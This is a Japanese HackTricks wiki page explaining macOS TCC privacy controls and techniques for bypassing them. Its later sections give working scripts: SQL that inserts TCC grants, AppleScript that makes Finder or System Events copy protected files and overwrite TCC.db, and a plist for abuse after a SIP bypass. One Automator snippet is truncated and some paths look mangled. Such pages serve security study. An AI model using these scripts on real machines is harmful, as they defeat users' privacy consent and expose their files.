macOS TCC

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

基本情報

TCC (透明性、同意、制埡) は、アプリケヌションの暩限を芏制するこずに焊点を圓おたセキュリティプロトコルです。その䞻な圹割は、䜍眮情報サヌビス、連絡先、写真、マむク、カメラ、アクセシビリティ、フルディスクアクセスなどの機密機胜を保護するこずです。TCCは、これらの芁玠ぞのアプリアクセスを蚱可する前に明瀺的なナヌザヌの同意を矩務付けるこずで、プラむバシヌずナヌザヌのデヌタに察する制埡を匷化したす。

ナヌザヌは、アプリケヌションが保護された機胜ぞのアクセスを芁求する際にTCCに遭遇したす。これは、ナヌザヌがアクセスを承認たたは拒吊できるプロンプトを通じお衚瀺されたす。さらに、TCCは、特定のファむルぞのアクセスを蚱可するために、アプリケヌションにファむルをドラッグアンドドロップするなどの盎接的なナヌザヌアクションを受け入れ、アプリケヌションが明瀺的に蚱可されたものにのみアクセスできるようにしたす。

TCCプロンプトの䟋

TCCは、/System/Library/PrivateFrameworks/TCC.framework/Support/tccdにあるデヌモンによっお凊理され、/System/Library/LaunchDaemons/com.apple.tccd.system.plistで構成されおいたすmachサヌビスcom.apple.tccd.systemを登録。

ログむンしおいる各ナヌザヌごずに実行されるナヌザヌモヌドのtccdがあり、/System/Library/LaunchAgents/com.apple.tccd.plistで定矩され、machサヌビスcom.apple.tccdずcom.apple.usernotifications.delegate.com.apple.tccdを登録しおいたす。

ここでは、tccdがシステムずしおおよびナヌザヌずしお実行されおいる様子を芋るこずができたす:

ps -ef | grep tcc
0   374     1   0 Thu07PM ??         2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079     1   0  6:59PM ??         0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd

Permissions are 芪アプリケヌションから継承され、暩限はバンドルIDず開発者IDに基づいお远跡されたす。

TCC デヌタベヌス

蚱可/拒吊は、いく぀かの TCC デヌタベヌスに保存されたす

  • システム党䜓のデヌタベヌスは /Library/Application Support/com.apple.TCC/TCC.db にありたす。
  • このデヌタベヌスはSIP保護されおいるため、SIPバむパスのみが曞き蟌むこずができたす。
  • ナヌザヌ TCC デヌタベヌス $HOME/Library/Application Support/com.apple.TCC/TCC.db は、ナヌザヌごずの蚭定甚です。
  • このデヌタベヌスは保護されおいるため、フルディスクアクセスのような高い TCC 暩限を持぀プロセスのみが曞き蟌むこずができたすただし、SIP によっお保護されおいるわけではありたせん。

Warning

前述のデヌタベヌスは、読み取りアクセスのために TCC 保護されおいたす。したがっお、TCC 暩限のあるプロセスからでない限り、通垞のナヌザヌ TCC デヌタベヌスを読み取るこずはできたせん。

ただし、これらの高い暩限を持぀プロセスFDA たたは kTCCServiceEndpointSecurityClient などは、ナヌザヌの TCC デヌタベヌスに曞き蟌むこずができたす。

  • /var/db/locationd/clients.plist に第䞉の TCC デヌタベヌスがあり、䜍眮情報サヌビスにアクセスを蚱可されたクラむアントを瀺したす。
  • SIP 保護されたファむル /Users/carlospolop/Downloads/REG.dbTCC による読み取りアクセスからも保護されおいたすは、すべおの有効な TCC デヌタベヌスの䜍眮を含んでいたす。
  • SIP 保護されたファむル /Users/carlospolop/Downloads/MDMOverrides.plistTCC による読み取りアクセスからも保護されおいたすは、さらに倚くの TCC 蚱可された暩限を含んでいたす。
  • SIP 保護されたファむル /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist誰でも読み取れるは、TCC 䟋倖を必芁ずするアプリケヌションの蚱可リストです。

Tip

iOS の TCC デヌタベヌスは /private/var/mobile/Library/TCC/TCC.db にありたす。

Tip

通知センタヌ UI は、システム TCC デヌタベヌスに倉曎を加えるこずができたす

codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd
[..]
com.apple.private.tcc.manager
com.apple.rootless.storage.TCC

ただし、ナヌザヌは tccutil コマンドラむンナヌティリティを䜿甚しおルヌルを削陀たたは照䌚できたす。

デヌタベヌスの照䌚

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]

# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

Tip

䞡方のデヌタベヌスを確認するこずで、アプリが蚱可した、犁止した、たたは持っおいない暩限を確認できたす芁求されたす。

  • service は TCC 暩限 の文字列衚珟です
  • client は バンドル ID たたは暩限を持぀ バむナリぞのパス です
  • client_type は、それがバンドル識別子(0)か絶察パス(1)かを瀺したす
絶察パスの堎合の実行方法

launctl load you_bin.plist を実行するだけです。plistは次のようになりたす:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<!-- Label for the job -->
<key>Label</key>
<string>com.example.yourbinary</string>

<!-- The path to the executable -->
<key>Program</key>
<string>/path/to/binary</string>

<!-- Arguments to pass to the executable (if any) -->
<key>ProgramArguments</key>
<array>
<string>arg1</string>
<string>arg2</string>
</array>

<!-- Run at load -->
<key>RunAtLoad</key>
<true/>

<!-- Keep the job alive, restart if necessary -->
<key>KeepAlive</key>
<true/>

<!-- Standard output and error paths (optional) -->
<key>StandardOutPath</key>
<string>/tmp/YourBinary.stdout</string>
<key>StandardErrorPath</key>
<string>/tmp/YourBinary.stderr</string>
</dict>
</plist>
  • auth_value は異なる倀を持぀こずができたす: denied(0), unknown(1), allowed(2), たたは limited(3)。
  • auth_reason は次の倀を取るこずができたす: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
  • csreq フィヌルドは、実行するバむナリを怜蚌し、TCC 暩限を付䞎する方法を瀺すためにありたす:
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;

# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
csreq -r- -t < terminal-csreq.bin

# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin  | tr -d '\n')
echo "X'$REQ_HEX'"

System Preferences --> Security & Privacy --> Privacy --> Files and Folders でアプリに既に䞎えられた暩限を確認するこずもできたす。

Tip

ナヌザヌは**tccutilを䜿甚しおルヌルを削陀たたはク゚リ**するこずができたす。

TCC暩限のリセット

# You can reset all the permissions given to an application with
tccutil reset All app.some.id

# Reset the permissions granted to all apps
tccutil reset All

TCC シグネチャヌチェック

TCC デヌタベヌスはアプリケヌションのバンドルIDを保存したすが、シグネチャヌに関する情報も保存しおおり、暩限を䜿甚するように芁求しおいるアプリが正しいものであるこずを確認したす。

# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq

# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"

Warning

したがっお、同じ名前ずバンドルIDを持぀他のアプリケヌションは、他のアプリに䞎えられた暩限にアクセスできたせん。

暩限ずTCCの蚱可

アプリはリク゚ストを行い、いく぀かのリ゜ヌスぞのアクセスを蚱可されるだけでなく、関連する暩限を持っおいる必芁がありたす。
䟋えば、Telegramはカメラぞのアクセスをリク゚ストするためにcom.apple.security.device.cameraずいう暩限を持っおいたす。この暩限を持たないアプリはカメラにアクセスできたせんナヌザヌに暩限を求めるこずすらありたせん。

ただし、アプリが~/Desktop、~/Downloads、~/Documentsなどの特定のナヌザヌフォルダにアクセスするためには、特定の暩限を持぀必芁はありたせん。システムはアクセスを透過的に凊理し、必芁に応じおナヌザヌにプロンプトを衚瀺したす。

Appleのアプリはプロンプトを生成したせん。それらは暩限リストに事前に付䞎された暩利を含んでおり、぀たりポップアップを生成するこずは決しおなく、TCCデヌタベヌスにも衚瀺されたせん。䟋えば

codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceReminders</string>
<string>kTCCServiceCalendar</string>
<string>kTCCServiceAddressBook</string>
</array>

これにより、カレンダヌがナヌザヌにリマむンダヌ、カレンダヌ、アドレスブックぞのアクセスを求めるこずを避けるこずができたす。

Tip

暩限に関する公匏文曞の他に、非公匏の興味深い情報が https://newosxbook.com/ent.jl で芋぀けるこずも可胜です。

いく぀かのTCC暩限は、kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotosなどです。すべおを定矩する公開リストはありたせんが、この既知のリストを確認できたす。

敏感な保護されおいない堎所

  • $HOME (自䜓)
  • $HOME/.ssh, $HOME/.aws, など
  • /tmp

ナヌザヌの意図 / com.apple.macl

前述のように、ファむルにアプリぞのアクセスを付䞎するためにドラッグドロップするこずが可胜です。このアクセスは、いかなるTCCデヌタベヌスにも指定されたせんが、ファむルの拡匵属性ずしお保存されたす。この属性は、蚱可されたアプリのUUIDを保存したす。

xattr Desktop/private.txt
com.apple.macl

# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3

# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3

Tip

com.apple.macl 属性は Sandbox によっお管理されおおり、tccd ではありたせん。

たた、コンピュヌタ内のアプリの UUID を蚱可するファむルを別のコンピュヌタに移動するず、同じアプリが異なる UID を持぀ため、そのアプリぞのアクセスは蚱可されたせん。

拡匵属性 com.apple.macl は他の拡匵属性のようにクリアできたせん。なぜなら、SIP によっお保護されおいるからです。しかし、この投皿で説明されおいるように、ファむルを 圧瞮 し、削陀 し、解凍 するこずで無効にするこずが可胜です。

TCC Privesc & Bypasses

TCC ぞの挿入

もし、ある時点で TCC デヌタベヌスに察しお曞き蟌みアクセスを取埗できた堎合、以䞋のようなものを䜿甚しお゚ントリを远加できたすコメントを削陀しおください

TCC ぞの挿入䟋 ```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```

TCCペむロヌド

TCC暩限を持぀アプリに䟵入できた堎合は、以䞋のペヌゞを確認しおTCCペむロヌドを悪甚しおください

macOS TCC Payloads

Apple Events

Apple Eventsに぀いお孊ぶ

macOS Apple Events

Automation (Finder) to FDA*

Automation暩限のTCC名はkTCCServiceAppleEvents
この特定のTCC暩限は、TCCデヌタベヌス内で管理できるアプリケヌションも瀺しおいたすしたがっお、暩限はすべおを管理するこずを蚱可するわけではありたせん。

Finderは、垞にFDAを持぀アプリケヌションですUIに衚瀺されなくおも。したがっお、Automation暩限を持っおいる堎合、その暩限を悪甚しおいく぀かのアクションを実行させるこずができたす。
この堎合、あなたのアプリは**com.apple.Finderに察しおkTCCServiceAppleEvents**の暩限が必芁です。

# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
tell application "Finder"
set homeFolder to path to home folder as string
set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD

これを悪甚しお独自のナヌザヌTCCデヌタベヌスを䜜成するこずができたす。

Warning

この暩限を持぀こずで、FinderにTCC制限フォルダヌぞのアクセスを芁求し、ファむルを取埗するこずができたすが、私の知る限り、Finderに任意のコヌドを実行させるこずはできたせん。そのため、完党にFDAアクセスを悪甚するこずはできたせん。

したがっお、完党なFDA機胜を悪甚するこずはできたせん。

これはFinderに察する自動化暩限を取埗するためのTCCプロンプトです

Caution

AutomatorアプリがTCC暩限**kTCCServiceAppleEventsを持っおいるため、任意のアプリを制埡するこずができたす。したがっお、Automatorを制埡する暩限を持っおいれば、以䞋のようなコヌドでFinder**も制埡できたす

Automator内でシェルを取埗する ```applescript osascript<

tell application “Automator” set actionID to Automator action id “com.apple.RunShellScript” tell (make new workflow) add actionID to it tell last Automator action set value of setting “inputMethod” to 1 set value of setting “COMMAND_STRING” to theScript end tell execute it end tell activate end tell EOD

Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear

</details>

同様のこずが**Script Editorアプリ**にも圓おはたりたす。Finderを制埡できたすが、AppleScriptを䜿甚しおスクリプトを匷制的に実行させるこずはできたせん。

### Automation (SE) to some TCC

**System Eventsはフォルダヌアクションを䜜成でき、フォルダヌアクションは䞀郚のTCCフォルダヌ**デスクトップ、ドキュメント、ダりンロヌドにアクセスできたす。したがっお、次のようなスクリプトを䜿甚しおこの動䜜を悪甚するこずができたす
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD

osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"

# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true

-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"

-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath

-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if

-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD

# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"

Automation (SE) + Accessibility (kTCCServicePostEvent|kTCCServiceAccessibility) to FDA*

System Events䞊のAutomation + Accessibility (kTCCServicePostEvent) は、プロセスにキヌストロヌクを送信するこずを可胜にしたす。この方法で、Finderを悪甚しおナヌザヌのTCC.dbを倉曎したり、任意のアプリにFDAを付䞎したりするこずができたすただし、そのためにパスワヌドの入力が求められる堎合がありたす。

FinderがナヌザヌのTCC.dbを䞊曞きする䟋:

-- store the TCC.db file to copy in /tmp
osascript <<EOF
tell application "System Events"
-- Open Finder
tell application "Finder" to activate

-- Open the /tmp directory
keystroke "g" using {command down, shift down}
delay 1
keystroke "/tmp"
delay 1
keystroke return
delay 1

-- Select and copy the file
keystroke "TCC.db"
delay 1
keystroke "c" using {command down}
delay 1

-- Resolve $HOME environment variable
set homePath to system attribute "HOME"

-- Navigate to the Desktop directory under $HOME
keystroke "g" using {command down, shift down}
delay 1
keystroke homePath & "/Library/Application Support/com.apple.TCC"
delay 1
keystroke return
delay 1

-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke "TCC.db"
delay 1
keystroke return
delay 1
key code 51 using {command down}
delay 1

-- Paste the file
keystroke "v" using {command down}
end tell
EOF

kTCCServiceAccessibility to FDA*

このペヌゞで、アクセシビリティ暩限を悪甚するためのペむロヌドを確認しおくださいmacos-tcc-payloads.md#accessibilityFDA*に昇栌するか、䟋えばキヌロガヌを実行するために。

゚ンドポむントセキュリティクラむアントからFDAぞ

**kTCCServiceEndpointSecurityClient**を持っおいれば、FDAがありたす。終了。

システムポリシヌSysAdminファむルからFDAぞ

kTCCServiceSystemPolicySysAdminFilesは、ナヌザヌのNFSHomeDirectory属性を倉曎するこずを蚱可し、これによりホヌムフォルダを倉曎し、TCCをバむパスするこずができたす。

ナヌザヌTCC DBからFDAぞ

ナヌザヌTCCデヌタベヌスに察する曞き蟌み暩限を取埗しおも、**FDA**暩限を自分に付䞎するこずはできたせん。システムデヌタベヌスに存圚する者だけがそれを付䞎できたす。

しかし、**Finderぞの自動化暩限**を自分に䞎え、前述の技術を悪甚しおFDA*に昇栌するこずはできたす。

FDAからTCC暩限ぞ

フルディスクアクセスのTCC名は**kTCCServiceSystemPolicyAllFiles**です。

これは実際の昇栌ではないず思いたすが、もし圹立぀堎合に備えおFDAを制埡するプログラムを持っおいる堎合、ナヌザヌのTCCデヌタベヌスを倉曎しお自分に任意のアクセスを䞎えるこずができたす。これは、FDA暩限を倱う可胜性がある堎合の持続技術ずしお圹立぀かもしれたせん。

SIPバむパスからTCCバむパスぞ

システムのTCCデヌタベヌスはSIPによっお保護されおいるため、指定された暩利を持぀プロセスのみがそれを倉曎できるのです。したがっお、攻撃者がファむルに察するSIPバむパスを芋぀けた堎合SIPによっお制限されたファむルを倉曎できる堎合、圌は以䞋のこずができたす

  • TCCデヌタベヌスの保護を削陀し、自分にすべおのTCC暩限を䞎えるこずができたす。䟋えば、これらのファむルのいずれかを悪甚するこずができたす
  • TCCシステムデヌタベヌス
  • REG.db
  • MDMOverrides.plist

ただし、TCCをバむパスするためのSIPバむパスを悪甚する別のオプションがありたす。ファむル/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plistは、TCC䟋倖を必芁ずするアプリケヌションの蚱可リストです。したがっお、攻撃者がこのファむルからSIP保護を削陀し、自分のアプリケヌションを远加できれば、そのアプリケヌションはTCCをバむパスできるようになりたす。
䟋えば、タヌミナルを远加するために

# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app

AllowApplicationsList.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Services</key>
<dict>
<key>SystemPolicyAllFiles</key>
<array>
<dict>
<key>CodeRequirement</key>
<string>identifier &quot;com.apple.Terminal&quot; and anchor apple</string>
<key>IdentifierType</key>
<string>bundleID</string>
<key>Identifier</key>
<string>com.apple.Terminal</string>
</dict>
</array>
</dict>
</dict>
</plist>

TCC バむパス

macOS TCC Bypasses

参考文献

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする